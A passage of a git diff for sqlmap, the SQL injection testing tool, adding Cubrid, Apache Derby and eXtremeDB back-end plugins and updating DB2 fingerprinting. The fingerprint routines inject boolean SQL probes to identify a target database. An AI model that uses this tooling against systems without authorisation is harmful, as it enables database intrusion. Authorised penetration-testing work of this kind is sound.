index 00000000000..03f6a012e7f --- /dev/null +++ b/plugins/dbms/cubrid/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import CUBRID_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.cubrid.enumeration import Enumeration +from plugins.dbms.cubrid.filesystem import Filesystem +from plugins.dbms.cubrid.fingerprint import Fingerprint +from plugins.dbms.cubrid.syntax import Syntax +from plugins.dbms.cubrid.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class CubridMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Cubrid methods + """ + + def __init__(self): + self.excludeDbsList = CUBRID_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.CUBRID] = Syntax.escape diff --git a/plugins/dbms/cubrid/connector.py b/plugins/dbms/cubrid/connector.py new file mode 100644 index 00000000000..e0e40bcf4b5 --- /dev/null +++ b/plugins/dbms/cubrid/connector.py @@ -0,0 +1,59 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import CUBRIDdb +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/CUBRID/cubrid-python + User guide: https://github.com/CUBRID/cubrid-python/blob/develop/README.md + API: https://www.python.org/dev/peps/pep-0249/ + License: BSD License + """ + + def connect(self): + self.initConnection() + + try: + self.connector = CUBRIDdb.connect(hostname=self.hostname, username=self.user, password=self.password, database=self.db, port=self.port, connect_timeout=conf.timeout) + except CUBRIDdb.DatabaseError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except CUBRIDdb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except CUBRIDdb.DatabaseError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except CUBRIDdb.Error as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.connector.commit() + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/cubrid/enumeration.py b/plugins/dbms/cubrid/enumeration.py new file mode 100644 index 00000000000..115c44a8595 --- /dev/null +++ b/plugins/dbms/cubrid/enumeration.py @@ -0,0 +1,32 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Cubrid it is not possible to enumerate password hashes" + logger.warn(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Cubrid it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getRoles(self, *args, **kwargs): + warnMsg = "on Cubrid it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Cubrid it is not possible to enumerate the hostname" + logger.warn(warnMsg) diff --git a/plugins/dbms/cubrid/filesystem.py b/plugins/dbms/cubrid/filesystem.py new file mode 100644 index 00000000000..ed68f5ab389 --- /dev/null +++ b/plugins/dbms/cubrid/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/cubrid/fingerprint.py b/plugins/dbms/cubrid/fingerprint.py new file mode 100644 index 00000000000..3e462d75804 --- /dev/null +++ b/plugins/dbms/cubrid/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import CUBRID_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.CUBRID) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.CUBRID + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(CUBRID_ALIASES): + setDbms(DBMS.CUBRID) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.CUBRID + logger.info(infoMsg) + + result = inject.checkBooleanExpression("{} SUBSETEQ (CAST ({} AS SET))") + + if result: + infoMsg = "confirming %s" % DBMS.CUBRID + logger.info(infoMsg) + + result = inject.checkBooleanExpression("DRAND()<2") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID + logger.warn(warnMsg) + + return False + + setDbms(DBMS.CUBRID) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.CUBRID + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/cubrid/syntax.py b/plugins/dbms/cubrid/syntax.py new file mode 100644 index 00000000000..5a031db64ca --- /dev/null +++ b/plugins/dbms/cubrid/syntax.py @@ -0,0 +1,23 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.convert import getOrds +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> from lib.core.common import Backend + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == "SELECT CHR(97)||CHR(98)||CHR(99)||CHR(100)||CHR(101)||CHR(102)||CHR(103)||CHR(104) FROM foobar" + True + """ + + def escaper(value): + return "||".join("CHR(%d)" % _ for _ in getOrds(value)) + + return Syntax._escape(expression, quote, escaper) diff --git a/plugins/dbms/cubrid/takeover.py b/plugins/dbms/cubrid/takeover.py new file mode 100644 index 00000000000..de5c23c6423 --- /dev/null +++ b/plugins/dbms/cubrid/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Cubrid it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Cubrid it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Cubrid it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Cubrid it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/db2/__init__.py b/plugins/dbms/db2/__init__.py index e6f0dfa58ba..aaeafeb5c9b 100644 --- a/plugins/dbms/db2/__init__.py +++ b/plugins/dbms/db2/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/connector.py b/plugins/dbms/db2/connector.py index 2120618ca6b..ba77b546af0 100644 --- a/plugins/dbms/db2/connector.py +++ b/plugins/dbms/db2/connector.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/enumeration.py b/plugins/dbms/db2/enumeration.py index ab42b0a7ef2..d65d8446a57 100644 --- a/plugins/dbms/db2/enumeration.py +++ b/plugins/dbms/db2/enumeration.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -10,13 +10,13 @@ class Enumeration(GenericEnumeration): def getPasswordHashes(self): - warnMsg = "on DB2 it is not possible to list password hashes" + warnMsg = "on IBM DB2 it is not possible to enumerate password hashes" logger.warn(warnMsg) return {} def getStatements(self): - warnMsg = "on DB2 it is not possible to enumerate the SQL statements" + warnMsg = "on IBM DB2 it is not possible to enumerate the SQL statements" logger.warn(warnMsg) return [] diff --git a/plugins/dbms/db2/filesystem.py b/plugins/dbms/db2/filesystem.py index e8c64249216..ed68f5ab389 100644 --- a/plugins/dbms/db2/filesystem.py +++ b/plugins/dbms/db2/filesystem.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/fingerprint.py b/plugins/dbms/db2/fingerprint.py index 4bb198d0e87..209ad08bfa6 100644 --- a/plugins/dbms/db2/fingerprint.py +++ b/plugins/dbms/db2/fingerprint.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ @@ -97,11 +97,20 @@ def checkDbms(self): logMsg = "confirming %s" % DBMS.DB2 logger.info(logMsg) - version = self._versionCheck() + result = inject.checkBooleanExpression("JULIAN_DAY(CURRENT DATE) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.DB2 + logger.warn(warnMsg) + return False + + version = self._versionCheck() if version: Backend.setVersion(version) setDbms("%s %s" % (DBMS.DB2, Backend.getVersion())) + else: + setDbms(DBMS.DB2) return True else: diff --git a/plugins/dbms/db2/syntax.py b/plugins/dbms/db2/syntax.py index f9355c077cb..f59b9cb9c8d 100644 --- a/plugins/dbms/db2/syntax.py +++ b/plugins/dbms/db2/syntax.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/db2/takeover.py b/plugins/dbms/db2/takeover.py index 432fa6f78e7..a888d5a90c1 100644 --- a/plugins/dbms/db2/takeover.py +++ b/plugins/dbms/db2/takeover.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/derby/__init__.py b/plugins/dbms/derby/__init__.py new file mode 100644 index 00000000000..0b48a12b214 --- /dev/null +++ b/plugins/dbms/derby/__init__.py @@ -0,0 +1,30 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import DERBY_SYSTEM_DBS +from lib.core.unescaper import unescaper + +from plugins.dbms.derby.enumeration import Enumeration +from plugins.dbms.derby.filesystem import Filesystem +from plugins.dbms.derby.fingerprint import Fingerprint +from plugins.dbms.derby.syntax import Syntax +from plugins.dbms.derby.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class DerbyMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines Apache Derby methods + """ + + def __init__(self): + self.excludeDbsList = DERBY_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.DERBY] = Syntax.escape diff --git a/plugins/dbms/derby/connector.py b/plugins/dbms/derby/connector.py new file mode 100644 index 00000000000..f6a11877eec --- /dev/null +++ b/plugins/dbms/derby/connector.py @@ -0,0 +1,62 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +try: + import drda +except: + pass + +import logging + +from lib.core.common import getSafeExString +from lib.core.data import conf +from lib.core.data import logger +from lib.core.exception import SqlmapConnectionException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + """ + Homepage: https://github.com/nakagami/pydrda/ + User guide: https://github.com/nakagami/pydrda/blob/master/README.rst + API: https://www.python.org/dev/peps/pep-0249/ + License: MIT + """ + + def connect(self): + self.initConnection() + + try: + self.connector = drda.connect(host=self.hostname, database=self.db, port=self.port) + except drda.OperationalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + self.initCursor() + self.printConnected() + + def fetchall(self): + try: + return self.cursor.fetchall() + except drda.ProgrammingError as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + return None + + def execute(self, query): + try: + self.cursor.execute(query) + except (drda.OperationalError, drda.ProgrammingError) as ex: + logger.log(logging.WARN if conf.dbmsHandler else logging.DEBUG, "(remote) %s" % getSafeExString(ex)) + except drda.InternalError as ex: + raise SqlmapConnectionException(getSafeExString(ex)) + + try: + self.connector.commit() + except drda.OperationalError: + pass + + def select(self, query): + self.execute(query) + return self.fetchall() diff --git a/plugins/dbms/derby/enumeration.py b/plugins/dbms/derby/enumeration.py new file mode 100644 index 00000000000..0f253f41bf0 --- /dev/null +++ b/plugins/dbms/derby/enumeration.py @@ -0,0 +1,43 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import singleTimeWarnMessage +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getPasswordHashes(self): + warnMsg = "on Apache Derby it is not possible to enumerate password hashes" + logger.warn(warnMsg) + + return {} + + def getStatements(self): + warnMsg = "on Apache Derby it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on Apache Derby it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getRoles(self, *args, **kwargs): + warnMsg = "on Apache Derby it is not possible to enumerate the user roles" + logger.warn(warnMsg) + + return {} + + def getHostname(self): + warnMsg = "on Apache Derby it is not possible to enumerate the hostname" + logger.warn(warnMsg) + + def getBanner(self): + warnMsg = "on Apache Derby it is not possible to enumerate the banner" + singleTimeWarnMessage(warnMsg) diff --git a/plugins/dbms/derby/filesystem.py b/plugins/dbms/derby/filesystem.py new file mode 100644 index 00000000000..ed68f5ab389 --- /dev/null +++ b/plugins/dbms/derby/filesystem.py @@ -0,0 +1,11 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + pass diff --git a/plugins/dbms/derby/fingerprint.py b/plugins/dbms/derby/fingerprint.py new file mode 100644 index 00000000000..88dbb6768ba --- /dev/null +++ b/plugins/dbms/derby/fingerprint.py @@ -0,0 +1,94 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import DERBY_ALIASES +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.DERBY) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.DERBY + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(DERBY_ALIASES): + setDbms(DBMS.DERBY) + + self.getBanner() + + return True + + infoMsg = "testing %s" % DBMS.DERBY + logger.info(infoMsg) + + result = inject.checkBooleanExpression("[RANDNUM]=(SELECT [RANDNUM] FROM SYSIBM.SYSDUMMY1 {LIMIT 1 OFFSET 0})") + + if result: + infoMsg = "confirming %s" % DBMS.DERBY + logger.info(infoMsg) + + result = inject.checkBooleanExpression("(SELECT CURRENT SCHEMA FROM SYSIBM.SYSDUMMY1) IS NOT NULL") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY + logger.warn(warnMsg) + + return False + + setDbms(DBMS.DERBY) + + self.getBanner() + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.DERBY + logger.warn(warnMsg) + + return False diff --git a/plugins/dbms/derby/syntax.py b/plugins/dbms/derby/syntax.py new file mode 100644 index 00000000000..eadbee04f15 --- /dev/null +++ b/plugins/dbms/derby/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/derby/takeover.py b/plugins/dbms/derby/takeover.py new file mode 100644 index 00000000000..93fd99d2735 --- /dev/null +++ b/plugins/dbms/derby/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on Apache Derby it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on Apache Derby it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on Apache Derby it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on Apache Derby it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/__init__.py b/plugins/dbms/extremedb/__init__.py new file mode 100644 index 00000000000..03c5f22f892 --- /dev/null +++ b/plugins/dbms/extremedb/__init__.py @@ -0,0 +1,29 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.enums import DBMS +from lib.core.settings import EXTREMEDB_SYSTEM_DBS +from lib.core.unescaper import unescaper +from plugins.dbms.extremedb.enumeration import Enumeration +from plugins.dbms.extremedb.filesystem import Filesystem +from plugins.dbms.extremedb.fingerprint import Fingerprint +from plugins.dbms.extremedb.syntax import Syntax +from plugins.dbms.extremedb.takeover import Takeover +from plugins.generic.misc import Miscellaneous + +class ExtremeDBMap(Syntax, Fingerprint, Enumeration, Filesystem, Miscellaneous, Takeover): + """ + This class defines eXtremeDB methods + """ + + def __init__(self): + self.excludeDbsList = EXTREMEDB_SYSTEM_DBS + + for cls in self.__class__.__bases__: + cls.__init__(self) + + unescaper[DBMS.EXTREMEDB] = Syntax.escape diff --git a/plugins/dbms/extremedb/connector.py b/plugins/dbms/extremedb/connector.py new file mode 100644 index 00000000000..8d9557284ac --- /dev/null +++ b/plugins/dbms/extremedb/connector.py @@ -0,0 +1,15 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.connector import Connector as GenericConnector + +class Connector(GenericConnector): + def connect(self): + errMsg = "on eXtremeDB it is not (currently) possible to establish a " + errMsg += "direct connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/enumeration.py b/plugins/dbms/extremedb/enumeration.py new file mode 100644 index 00000000000..742e29866c1 --- /dev/null +++ b/plugins/dbms/extremedb/enumeration.py @@ -0,0 +1,84 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.data import logger +from plugins.generic.enumeration import Enumeration as GenericEnumeration + +class Enumeration(GenericEnumeration): + def getBanner(self): + warnMsg = "on eXtremeDB it is not possible to get the banner" + logger.warn(warnMsg) + + return None + + def getCurrentUser(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the current user" + logger.warn(warnMsg) + + def getCurrentDb(self): + warnMsg = "on eXtremeDB it is not possible to get name of the current database" + logger.warn(warnMsg) + + def isDba(self, user=None): + warnMsg = "on eXtremeDB it is not possible to test if current user is DBA" + logger.warn(warnMsg) + + def getUsers(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the users" + logger.warn(warnMsg) + + return [] + + def getPasswordHashes(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the user password hashes" + logger.warn(warnMsg) + + return {} + + def getPrivileges(self, *args, **kwargs): + warnMsg = "on eXtremeDB it is not possible to enumerate the user privileges" + logger.warn(warnMsg) + + return {} + + def getDbs(self): + warnMsg = "on eXtremeDB it is not possible to enumerate databases (use only '--tables')" + logger.warn(warnMsg) + + return [] + + def searchDb(self): + warnMsg = "on eXtremeDB it is not possible to search databases" + logger.warn(warnMsg) + + return [] + + def searchTable(self): + warnMsg = "on eXtremeDB it is not possible to search tables" + logger.warn(warnMsg) + + return [] + + def searchColumn(self): + warnMsg = "on eXtremeDB it is not possible to search columns" + logger.warn(warnMsg) + + return [] + + def search(self): + warnMsg = "on eXtremeDB search option is not available" + logger.warn(warnMsg) + + def getHostname(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the hostname" + logger.warn(warnMsg) + + def getStatements(self): + warnMsg = "on eXtremeDB it is not possible to enumerate the SQL statements" + logger.warn(warnMsg) + + return [] diff --git a/plugins/dbms/extremedb/filesystem.py b/plugins/dbms/extremedb/filesystem.py new file mode 100644 index 00000000000..0bb0e972b83 --- /dev/null +++ b/plugins/dbms/extremedb/filesystem.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.filesystem import Filesystem as GenericFilesystem + +class Filesystem(GenericFilesystem): + def readFile(self, remoteFile): + errMsg = "on eXtremeDB it is not possible to read files" + raise SqlmapUnsupportedFeatureException(errMsg) + + def writeFile(self, localFile, remoteFile, fileType=None, forceCheck=False): + errMsg = "on eXtremeDB it is not possible to write files" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/extremedb/fingerprint.py b/plugins/dbms/extremedb/fingerprint.py new file mode 100644 index 00000000000..d7381c71f85 --- /dev/null +++ b/plugins/dbms/extremedb/fingerprint.py @@ -0,0 +1,93 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.common import Backend +from lib.core.common import Format +from lib.core.data import conf +from lib.core.data import kb +from lib.core.data import logger +from lib.core.enums import DBMS +from lib.core.session import setDbms +from lib.core.settings import EXTREMEDB_ALIASES +from lib.core.settings import METADB_SUFFIX +from lib.request import inject +from plugins.generic.fingerprint import Fingerprint as GenericFingerprint + +class Fingerprint(GenericFingerprint): + def __init__(self): + GenericFingerprint.__init__(self, DBMS.EXTREMEDB) + + def getFingerprint(self): + value = "" + wsOsFp = Format.getOs("web server", kb.headersFp) + + if wsOsFp: + value += "%s\n" % wsOsFp + + if kb.data.banner: + dbmsOsFp = Format.getOs("back-end DBMS", kb.bannerFp) + + if dbmsOsFp: + value += "%s\n" % dbmsOsFp + + value += "back-end DBMS: " + + if not conf.extensiveFp: + value += DBMS.EXTREMEDB + return value + + actVer = Format.getDbms() + blank = " " * 15 + value += "active fingerprint: %s" % actVer + + if kb.bannerFp: + banVer = kb.bannerFp.get("dbmsVersion") + + if banVer: + banVer = Format.getDbms([banVer]) + value += "\n%sbanner parsing fingerprint: %s" % (blank, banVer) + + htmlErrorFp = Format.getErrorParsedDBMSes() + + if htmlErrorFp: + value += "\n%shtml error message fingerprint: %s" % (blank, htmlErrorFp) + + return value + + def checkDbms(self): + if not conf.extensiveFp and Backend.isDbmsWithin(EXTREMEDB_ALIASES): + setDbms(DBMS.EXTREMEDB) + return True + + infoMsg = "testing %s" % DBMS.EXTREMEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("signature(NULL)=usignature(NULL)") + + if result: + infoMsg = "confirming %s" % DBMS.EXTREMEDB + logger.info(infoMsg) + + result = inject.checkBooleanExpression("hashcode(NULL)>=0") + + if not result: + warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB + logger.warn(warnMsg) + + return False + + setDbms(DBMS.EXTREMEDB) + + return True + else: + warnMsg = "the back-end DBMS is not %s" % DBMS.EXTREMEDB + logger.warn(warnMsg) + + return False + + def forceDbmsEnum(self): + conf.db = ("%s%s" % (DBMS.EXTREMEDB, METADB_SUFFIX)).replace(' ', '_') diff --git a/plugins/dbms/extremedb/syntax.py b/plugins/dbms/extremedb/syntax.py new file mode 100644 index 00000000000..eadbee04f15 --- /dev/null +++ b/plugins/dbms/extremedb/syntax.py @@ -0,0 +1,18 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from plugins.generic.syntax import Syntax as GenericSyntax + +class Syntax(GenericSyntax): + @staticmethod + def escape(expression, quote=True): + """ + >>> Syntax.escape("SELECT 'abcdefgh' FROM foobar") == u"SELECT 'abcdefgh' FROM foobar" + True + """ + + return expression diff --git a/plugins/dbms/extremedb/takeover.py b/plugins/dbms/extremedb/takeover.py new file mode 100644 index 00000000000..88187a8d15e --- /dev/null +++ b/plugins/dbms/extremedb/takeover.py @@ -0,0 +1,28 @@ +#!/usr/bin/env python + +""" +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) +See the file 'LICENSE' for copying permission +""" + +from lib.core.exception import SqlmapUnsupportedFeatureException +from plugins.generic.takeover import Takeover as GenericTakeover + +class Takeover(GenericTakeover): + def osCmd(self): + errMsg = "on eXtremeDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osShell(self): + errMsg = "on eXtremeDB it is not possible to execute commands" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osPwn(self): + errMsg = "on eXtremeDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) + + def osSmb(self): + errMsg = "on eXtremeDB it is not possible to establish an " + errMsg += "out-of-band connection" + raise SqlmapUnsupportedFeatureException(errMsg) diff --git a/plugins/dbms/firebird/__init__.py b/plugins/dbms/firebird/__init__.py index 121a2a414d7..350da6712d9 100644 --- a/plugins/dbms/firebird/__init__.py +++ b/plugins/dbms/firebird/__init__.py @@ -1,7 +1,7 @@ #!/usr/bin/env python """ -Copyright (c) 2006-2020 sqlmap developers (http://sqlmap.org/) +Copyright (c) 2006-2021 sqlmap developers (http://sqlmap.org/) See the file 'LICENSE' for copying permission """ diff --git a/plugins/dbms/firebird/connector.py b/plugins/dbms/firebird/connector.py index edd0ae750b2..d8890193389 100644 --- a/plugins/dbms/firebird/connector.py +++ 